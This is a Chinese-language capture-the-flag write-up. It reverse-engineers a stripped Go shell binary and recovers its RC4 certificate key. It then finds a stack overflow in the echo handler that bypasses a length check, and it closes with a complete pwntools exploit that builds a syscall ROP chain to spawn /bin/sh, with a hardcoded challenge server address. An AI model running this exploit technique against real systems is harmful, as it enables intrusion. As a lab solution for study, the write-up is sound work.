Table of Contents
go 逆向
-
恢复符号表
elf 是去了符号表的,可以用 bindiff 恢复符号表。(将这个文件和其他的有符号表的 go 的文件 database diff,相似的部分导入符号表,自动导入重合度高的函数)
-
golang 的传参方式
在 Go1.17 版本之前,Go 函数调用是通过栈来传递的。1.17 中 32 位的通过寄存器传递,64 位的还是栈,到 Go1.18 全部通过寄存器传递参数了。不过具体是哪些寄存器用什么顺序传参,感觉不是固定的欸(?)。
-
查看 go elf 和 modules 的版本
本题没有外部的 modules
Terminal window go version pwngo version -m pwn
main_main (0x4C1D60)
通过 ciscnshell$ 字符串找到 main_main。因为看不来参数的位置,所以只能对着函数名猜逻辑()。通过一个全局变量来判断身份,如果 check 没通过则输出 ciscnshell$,如果通过则是 nightingale#。随后用 bufio__Reader_ReadString 读取输入,到换行符停止。然后用 get_command 对输入处理。
func (b *Reader) ReadString(delim byte) (string, error)//ReadString reads until the first occurrence of delim in the input, returning a string containing the data up to and including the delimiter.
get_command (0x4C1900)
trimspace 除去开头结尾的空格,然后用了 regexp 库做了正则替换。这里是识别所有的 “ +“,一个及以上空格,用 “ ”一个空格替换,即连续的多个空格只保留一个。
func Compile(expr string) (*Regexp, error)func (re *Regexp) ReplaceAllString(src, repl string) string//ReplaceAllString returns a copy of src, replacing matches of the Regexp with the replacement string repl. Inside repl, $ signs are interpreted as in Expand, so for instance $1 represents the text of the first submatch.接下来check 了身份,如果没有check 通过,只能输入 “cert”。注意 cmp dword ptr [rdx], 'trec' 是比较一个存储单位里的值是否一样,所以字符串的顺序不是 “trec” 而是 “cert”。随后用 genSplit 分割字符串。
这里的 gensplit 是 go 中 split 操作的内部函数,参考Golang字符串操作。
func Split(s, sep string) []string { return genSplit(s, sep, 0, -1) }func SplitAfter(s, sep string) []string { return genSplit(s, sep, len(sep), -1) }func SplitN(s, sep string, n int) []string { return genSplit(s, sep, 0, n) }func SplitAfterN(s, sep string, n int) []string { return genSplit(s, sep, len(sep), n) }从参数和结果推测原函数是 Split(S, “ ”) ,分割空格前后的字符串,返回值是字符串切片,可以看作这样的结构体
param1param1_lenparam2parame_len
如果身份 check 通过,就可以输入 “echo ls cat whoami” 等等命令。
check_cert (0x4C14A0)
当第二个参数长的为 9 且等于 “nAcDsMicN “ 时,进入 check_cert函数。
里面是 rc4 输入将字符串转成字节 slice,经过 rc4 加密后输出转成 base64。
func NewCipher(key []byte) (*Cipher, error)func (c *Cipher) XORKeyStream(dst, src []byte)func EncodeToString(src []byte) string
得到了密钥。
deal_echo (0xC1720)
这里将空格分割之后的 string slice 拼接在一起。用了 concatstring2,然后会检查上一次拼接的长度有没有超过 0x200,即每一段空格之间的字符串不能超过 0x200。(这里好隐蔽
主要是下面这里有一个溢出(在不大于 0x400 的大小范围内,把输入跳过 “+” 复制到栈上距离返回地址只有 0x240 左右的地方),所以肯定会想怎么绕过上面的 0x200。
试一下果然可以
rop
用 syscall 的 gadget 写 rop。
这么找 syscall ROPgadget --binary pwn --only 'syscall'
# from ropgadgetsys = 0x40328crax = 0x040d9e6rdi = 0x444fecrdx = 0x49e11drsi = 0x41e818binsh = 0x588018
overflow = b'echo '+b'+'*0x1f0 + b' ' + b'+'*0x33overflow += flat( rax, 0, rdi, 0, rsi, binsh, rdx, 50, sys, rax, 59, rdi, binsh, rsi, 0, rdx, 0, sys, )sla('nightingale#', overflow)sl(b'/bin/sh\x00')exp
from pwn import *
elf_path = "./pwn"ip = "121.40.89.206"port = "20111"content = 1
context(os='linux',arch='amd64',log_level='debug')if content == 1: context.terminal = ['tmux','splitw','-h'] p = process(elf_path) # gdb.attach(p) # p = gdb.debug(elf_path, 'b* 0x4C188C') # pause()
else: p = remote(ip, port)
r = lambda : p.recv()rx = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rud = lambda x: p.recvuntil(x, drop=True)s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)close = lambda : p.close()debug = lambda : gdb.attach(p)shell = lambda : p.interactive()
# ----------------------------------------------------------
cert = 'cert nAcDsMicN S33UAga1n@#!'sla('ciscnshell$', cert)
# from ropgadgetsys = 0x40328crax = 0x040d9e6rdi = 0x444fecrdx = 0x49e11drsi = 0x41e818binsh = 0x588018
overflow = b'echo '+b'+'*0x1f0 + b' ' + b'+'*0x33overflow += flat( rax, 0, rdi, 0, rsi, binsh, rdx, 50, sys, rax, 59, rdi, binsh, rsi, 0, rdx, 0, sys, )sla('nightingale#', overflow)sl(b'/bin/sh\x00')
p.interactive()